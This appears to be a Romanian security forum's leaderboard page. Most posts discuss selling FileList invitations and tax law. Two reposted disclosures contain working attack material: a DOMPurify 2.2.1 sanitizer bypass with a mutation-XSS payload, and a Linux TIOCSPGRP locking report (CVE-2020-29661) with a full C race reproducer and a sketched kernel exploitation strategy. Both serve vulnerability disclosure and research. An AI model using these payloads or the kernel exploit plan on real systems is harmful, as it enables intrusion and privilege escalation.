Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 12/23/20 in all areas

  1. Am primit banii inapoi. Dupa 17 zile , mai bine mai tarziu decat niciodata. Se poate inchide, multumesc.
    1 point
  2. For those who are only interested in the final payload here you go (I won’t judge). For the ones interested in why it works, please bear with me. <form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>"> First of all, I would like to point out that this article and the bypass described here are heavily based on Michał Bentkowski (@SecurityMB) research. The original article and previous bypass who made it possible for me to find this new vector are available here. The article also contains all of the required foundations the reader may need to properly understand how and why the bypass described here works. It took me a few rounds of reading and playing with the LiveDOM++ tool, also provided by @SecurityMB, to really understand why Michał’s original bypass worked in the first place. Gareth Heyes (@garethheyes) also built upon Michał’s work and found a variation of the original bypass days after it got published. I also took my time with Gareth’s bypass to properly understand what was going on. What is DOMPurify? DOMPurify is a widely used HTML sanitizer library. It is mainly used to sanitize user input on web applications that permits the creation of HTML/Rich Text content. Think of a web-mail client or blog platform for example. A common usage pattern for DOMPurify is the following: let div = document.createElement('div'); const html='<some></non sanitized=1></html>'; const sanitized = DOMPurify.sanitize(html); div.innerHTML = sanitized; DOMPurifyUsageSample.js According to Michał’s article: The important takeaway is that the HTML markup is parsed twice and serialized into a string in between. Namespaces, and why they are important HTML is a markup language based on XML. XML utilizes the concept of namespaces. An HTML document, compliant with the current specification of HTML 5, may contain elements from three different namespaces. HTML (http://www.w3.org/1999/xhtml) SVG (http://www.w3.org/2000/svg) MathML (http://www.w3.org/1998/Math/MathML) Namespaces solve the ambiguity problem when a single XML document contains homograph elements and/or properties from different “vocabularies”. For example, all the previously listed specifications contain a tag named style. The style tag has different properties and rendering behaviors associated with it depending on the namespace it's used. This means that a browser will behave differently when it parses a style tag depending on its ancestors (Figure 1, Figure 2). Figure 2: style tag in the SVG namespace DOM mutation in a nutshell Although it may sound counter-intuitive, parsing and serializing a DOM fragment is not an idempotent operation. This means that in some cases, depending on how the fragment is constructed, the serialized version of a DOM tree won’t result in the same DOM tree when parsed. This double-parsing behavior is inherent to DOMPurify’s standard usage. However, some unexpected results from double-parsing DOM fragments are not unexpected at all, as they are documented in HTML’s current specification. One of these cases regards nested forms. A DOM fragment with nested form tags is not to be considered a valid construction according to HTML’s current specification. However, the following HTML fragment when parsed once will result in a DOM tree with nested forms. <form id="outer"> <div> </form> <form id="inner"> <input> Snippet 2: nested form mutation gadget nfgadget.html We can use the LiveDOM++ tool to inspect how the DOM behaves, before and after being sanitized with DOMPurify, when it is fed with the HTML fragment mentioned above. Figure 3: nested forms parsed twice As demonstrated, when parsed for the first time, the HTML fragment results in a non-compliant DOM tree containing nested form tags. After sanitizing it, DOMPurify will serialize the DOM tree and the resulting string will be parsed again by the browser. It is then possible to verify that the direct parenthood of the input tag is transferred the inner form tag to the outer form tag in the final fragment. We will refer to the type of HTML markup that results in a mutation that changes the direct parent of a tag as an ownership mutation gadget. The table tag can also be used to construct an ownership mutation gadget as shown below. Figure 4: table ownership mutation gadget In the example above the direct parent of the inner anchor tag is changed from the outer anchor to the div tag. Understanding how these gadgets behave is crucial to understanding the bypass construction. I recommend experimenting with the gadgets on LiveDOM++ to get a better understanding of how the gadgets behave. Foreign content By default, all elements in an HTML document must be parsed by a browser according to the rules defined by the HTML namespace; however, if the parser encounters a <svg> or <math> tag, it should then parse those elements and their descendants according to the SVG and MathML namespaces respectively. One also needs to consider that both the MathML and SVG namespaces support foreign content as well, meaning a chain of namespaces transitions can be built as shown below. Figure 5: html->svg->math->html transition chain Namespace confusion, putting it all together As mentioned before, homograph elements like the style tag have different properties and rendering rules depending on the namespace they are in. This means that if we use an ownership mutation gadget to change the direct parent of a homograph tag and cause its namespace to change, we can trick the sanitizer into producing a malicious serialized HTML fragment. That is exactly what Michał did. Michal’s original bypass used an ownership mutation gadget to change the direct parent of a mglyph tag from a form element in the HTML namespace to a mtext tag in the MathML namespace. This mutation results in the descendants of the mglyph element becoming members of the MathML namespace in the final DOM tree while existing in the HTML namespace in the tree sanitized by DOMPurify. At the time of this writing, it is still possible to use the update parser feature of the LiveDOM++ tool to reproduce the original bypass using a vulnerable version of DOMPurify. Figure 6: update parser feature Figure 7: original mXSS bypass The details of why and how this works can be referenced in Michał’s original article. Understanding the original bypass is important because it provides the foundation for the variation described in this article. Building the final payload Now that I described the building blocks of a potential bypass I will describe the methodology I used to build my bypass. I began by pondering the following: The picture below illustrates the basic structure of the bypass. Using a nested form ownership mutation gadget it is possible to change the mglyph tag parent to mtext; that places the descendants of the mglyph tag to be in the MathML namespace in the final DOM tree. Nothing new so far. The difference is that instead of using it to go from HTML to MathML, we are using it to go from SVG to MathML. HTML→MathML→HTML→SVG to HTML→MathML to be precise. Figure 8: from SVG to MathML At this point, I knew I was on to something but it took me a while to build a working payload. The whole point was figuring out a chain of tags that were safe in the SVG namespace and that contained an XSS payload when transferred to the MathML namespace. This is what I came up with: <mtext> <style> <path id="</style><img onerror=alert(1') src>"> Snippet 2: bypass fragment svggadget.html In the SVG namespace, mtext will be handled as an unknown tag. The style tag descendants will be rendered as opposed to its homograph in the HTML namespace, and the id attribute of the SVG path tag is nothing more than a safe, free-form text identifier. What happens when this snippet is parsed in the MathML namespace though? Here is the result: Figure 9: bypass fragment in the MathML namespace First of all, mtext is handled as a MathML text integration point. This means its descendants will be in the HTML namespace, according to MathML’s current specification. Once in the HTML namespace, style behaves differently and treats everything until its closing tag as raw text. Finally, the malicious img tag is parsed followed by a harmless piece of raw text that reads “>. The following snapshot depicts the DOM tree state before being sanitized by DOMPurify. Figure 10: final payload DOM tree before sanitization This next snapshot shows the DOM tree produced by parsing DOMPurify’s output. Figure 11: final payload DOM tree after sanitization Disclosure timeline I notified cure53 on 11/02/2020 around 13:30 (GMT-6). A fix was made available and tested at 13:41 (GMT-6). The fix was officially published in version 2.2.2 sometime later on the very same day. Acknowledgments I want to thank Michał Bentkowski and Gareth Heyes for their incredible work and constant contributions to the security community. Dr.-Ing. Mario Heiderich (@Cure53) for acting so fast and for being a gentleman despite having to stay up late to work on the fix. Lastly, @LiveOverFlow for reminding me in one of his videos that we need to move away from the basics as soon as we master them and constantly challenge ourselves. Source: https://vovohelo.medium.com/from-svg-and-back-yet-another-mutation-xss-via-namespace-confusion-for-dompurify-2-2-2-bypass-5d9ae8b1878f
    1 point
  3. Linux suffers from broken locking in TIOCSPGRP that can lead to a corrupted refcount. Linux: Broken locking in TIOCSPGRP leads to corrupted tty->pgrp refcount tiocspgrp(), the handler for the TIOCSPGRP ioctl, has the following signature: static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p) It receives two `tty_struct` pointers because, for PTY pairs, userspace can use the same ioctl() on both sides of the pair, with slightly different semantics. `tty` points to the side that userspace passed to `ioctl()` as file descriptor (either the TTY or the master), while `real_tty` always points to the TTY. tiocspgrp() contains the following code: static int tiocspgrp(struct tty_struct *tty, struct tty_struct *real_tty, pid_t __user *p) { [...] spin_lock_irq(&tty->ctrl_lock); put_pid(real_tty->pgrp); real_tty->pgrp = get_pid(pgrp); spin_unlock_irq(&tty->ctrl_lock); [...] } It always modifies the ->pgrp of the TTY but, depending on the file descriptor passed in by the caller, sometimes takes the ->ctrl_lock of the master instead. This means that it is possible to race TIOCSPGRP on the master with TIOCSPGRP on the TTY. The following reproducer quickly causes errors (e.g. starting with a \"refcount_t: addition on 0; use-after-free.\" message): ====================================================================== #define _GNU_SOURCE #include <err.h> #include <unistd.h> #include <fcntl.h> #include <termios.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/wait.h> int main(void) { sync(); /* we're probably gonna crash... */ /* * We may already be process group leader but want to be session leader; * therefore, do everything in a child process. */ pid_t main_task = fork(); if (main_task == -1) err(1, \"initial fork\"); if (main_task != 0) { int status; if (waitpid(main_task, &status, 0) != main_task) err(1, \"waitpid main_task\"); return 0; } if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(1, \"PR_SET_PDEATHSIG\"); if (getppid() == 1) exit(0); /* basic preparation */ if (signal(SIGTTOU, SIG_IGN)) err(1, \"signal\"); if (setsid() == -1) err(1, \"start new session\"); /* set up a new pty pair */ int ptmx = open(\"/dev/ptmx\", O_RDWR); if (ptmx == -1) err(1, \"open ptmx\"); unlockpt(ptmx); int tty = open(ptsname(ptmx), O_RDWR); if (tty == -1) err(1, \"open tty\"); /* * Let a series of children change the ->pgrp pointer * protected by the tty's ctrl_lock... */ pid_t child = fork(); if (child == -1) err(1, \"fork\"); if (child == 0) { if (prctl(PR_SET_PDEATHSIG, SIGKILL)) err(1, \"PR_SET_PDEATHSIG\"); if (getppid() == 1) exit(0); while (1) { pid_t grandchild = fork(); if (grandchild == -1) err(1, \"fork grandchild\"); if (grandchild == 0) { if (setpgid(0, 0)) err(1, \"setpgid\"); int pgrp = getpid(); if (ioctl(tty, TIOCSPGRP, &pgrp)) err(1, \"TIOCSPGRP (tty)\"); exit(0); } int status; if (waitpid(grandchild, &status, 0) != grandchild) err(1, \"waitpid for grandchild\"); } } /* * ... while the parent changes the same ->pgrp pointer under the * ctrl_lock of the other side of the pty pair. */ while (1) { int pgrp = getpid(); if (ioctl(ptmx, TIOCSPGRP, &pgrp)) err(1, \"TIOCSPGRP (ptmx)\"); } } ====================================================================== This seems to me like it would be fairly promising as a target for exploitation; for example, a strategy along the following lines might work: - enter a deeply nested PID namespace, such that you have a SLUB cache like pid_10 to yourself - take a bunch of references to two `struct pid` instances (e.g. through pidfds or procfs?) - try to hit the bug in a loop such that the refcounts are hopefully off by a bit, but both `struct pid` instances still exist - on both `struct pid`, drop references one by one until one is freed - to detect reallocation, try to get SLUB to reuse the object for another PID, then check something like pidfd_show_fdinfo() or tiocgsid() on the old pid (which mostly dump plain data from a `struct pid` without touching other stuff in there) - get the entire SLUB high-order page freed, and try to reallocate it into another slab - exploit the resulting type confusion, e.g. by changing the refcount of the freed struct pid I haven't tried that yet though. I'm going to send suggested patches for this issue and for less severe TTY locking problems around the ->session pointer in a minute. (The ->session stuff is sufficiently theoretical that it probably doesn't really need the full security treatment, but I figured it'd be less messy if I include both here...) I have done some basic testing of these changes; the only thing that shows up as a problem is a lockdep warning about a possible deadlock when triggering the SAK logic via sysrq (involving console_lock, termios_rwsem and tty_bufhead::lock), but that also happens on master and doesn't seem related to my changes. This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2021-03-03. Disclosure at an earlier date is possible if the bug has been fixed in Linux stable releases (per agreement with security@kernel.org folks). Related CVE Numbers: CVE-2020-29661. Found by: jannh@google.com Source
    1 point
  4. Nu se de deranjeaza ANAF-ul decat de pe la 60.000 E in sus si asta pe PJ. Restul ramane valabil categoric.
    1 point
  5. Ii invatati pe copii sa faca prostii. Faptul ca fac un ban sau primesc o cafea de la un coleg intr-o pauza de tigara pentru o invitatie pe Filelist nu genereaza probleme, dar o pagina de Facebook sau o postare pe un forum e considerata vanzare cu caracter de continuitate. Faptul ca ANAF vrea sa se uite la asta sau nu vrea/nu are timp/chef/bani de investit e alta problema Este mai mult sau mai putin la fel cu vanzarea de tigari la bucata, e ilegala (printre altele) pentru ca nu se plateste TVA catre stat. Hai sa zicem, daca omul vinde invitatiile, cum primeste banii? in mana -> e pandemie, plus ca la cati oameni din bloc/de la munca/scoala/etc. poti sa vinzi care nu au deja un cont? Aici ar fi considerata vanzare ocazionala. prin banca -> banca te suna dupa un timp daca primesti in continuu"donatii" cu aceeasi suma sau multiplu de o suma si iti cere sa-i justifici prin Paypal -> Paypal te verifica cand atingi un prag, iti blocheaza banii si te pune sa-i justifici prin Revolut -> la fel ca Paypal, Revolut iti blocheaza banii si te pune sa-i justifici, dar iti cer si 15 000 de hartii legalizate de notar prin cryptocurrency -> in momentul in care transferi banii de pe un site de BTC/ETH/etc., majoritatea bancilor iti blocheaza suma pentru ca nu agreeaza venituri din crypto Daca gaseste unul din staff-ul lor problema asta cu invitatiile pe bani si se decide sa baneze toate conturile invitate plus pe cel care i-a invitat, o sa fie o distractie cu toti care o sa-i ceara banii inapoi, mai ales daca e printr-un serviciu online. Cum o sa justifice banii care ii sunt acum ceruti inapoi? Stiti, am un site care defapt nu agreeaza vanzarea de invitatii, dar am decis sa fac si eu un ban si acum mi-a blocat accesul si mie si lor. La asta ma refer prin faptul ca invitatia nu va apartine in scenariul vanzarii.
    1 point
  6. Din regulamentul filelist: "Nu vindeti/nu incercati sa vindeti invitatiile/contul." Regula asta e ca si regulamentul intern al unei institutii. Daca accepti sa le folosesti serviciul trebuie sa accepti si regulile. Mai mult de un ban pe ip nu primesti...nu te astepta sa ti vina politia la usa Poti sa vinzi invitatii dar la un moment dat vei fi prins si banat. Tu decizi daca are rost sa risti
    1 point
  7. Invitatie filelist X2d13a3fe1e6a8712be1774b8a13b9ce unde X= partea imaginara a nr complex 8+6i
    1 point
  8. Vorbiti prostii, din doua motive: 1. Nu vindeţi/nu incercaţi să vindeţi invitaţiile/contul. Regula luata de pe FileList. 2. Cum sa fie ilegal din punct de vedere al evzaiunii? De cand poti face evaziune fiscala vanzand ceva ilegal? De cand sunt torrentele legale in Romania? Dupa logica voastra, faci evaziune fiscala daca vinzi droguri. ON: Nu te sfatuiesc sa vinzi invitatii FileList pentru ca nu este de viitor. Mai bine invata ceva chiar daca castigul va fi intarziat.
    1 point
  9. Nu o lua negativ ca nu suntem noi de acord cu business-ul underground dar iti dau un exemplu, sunt persoane care cauta genul de conturi vandute de incepatori pentru spreading malware, virusi, exploituri prin intermediul trackerelor si forumurilor, eu ti-l cumpar si imi cumpar Rep devin uploader si incep distribuirea virusului acolo poate pic si eu dar pica si cine a facut contul si toti care au accesat contul sau pur si simplu cineva zice mai departe de unde are contul. Nu cred ca cineva cumpara un cont de tracker privat de pe underground in loc sa il primeasca gratuit sau sa intre cu invitatie doar ca sa copie un film, porno, etc. Pe langa asta si ce a zis Dragos mai sus plus multe alte exemple, daca vrei sa faci un ban fa-o cu cap.
    1 point
  10. Pe langa faptul ca e ilegal din punct de vedere al evaziunii fiscale (vinzi un produs fara a plati taxa catre stat), vinzi si ceva ce nu iti apartine. Daca vrei sa faci un ban, invata unul, doua limbaj de programare, fa voluntariat pentru a castiga experienta (1-2 ani pe perioada facultatii de exemplu) si dupa poti sa te angajezi pe un salariu de minim 1000 euro.
    1 point
×
×
  • Create New...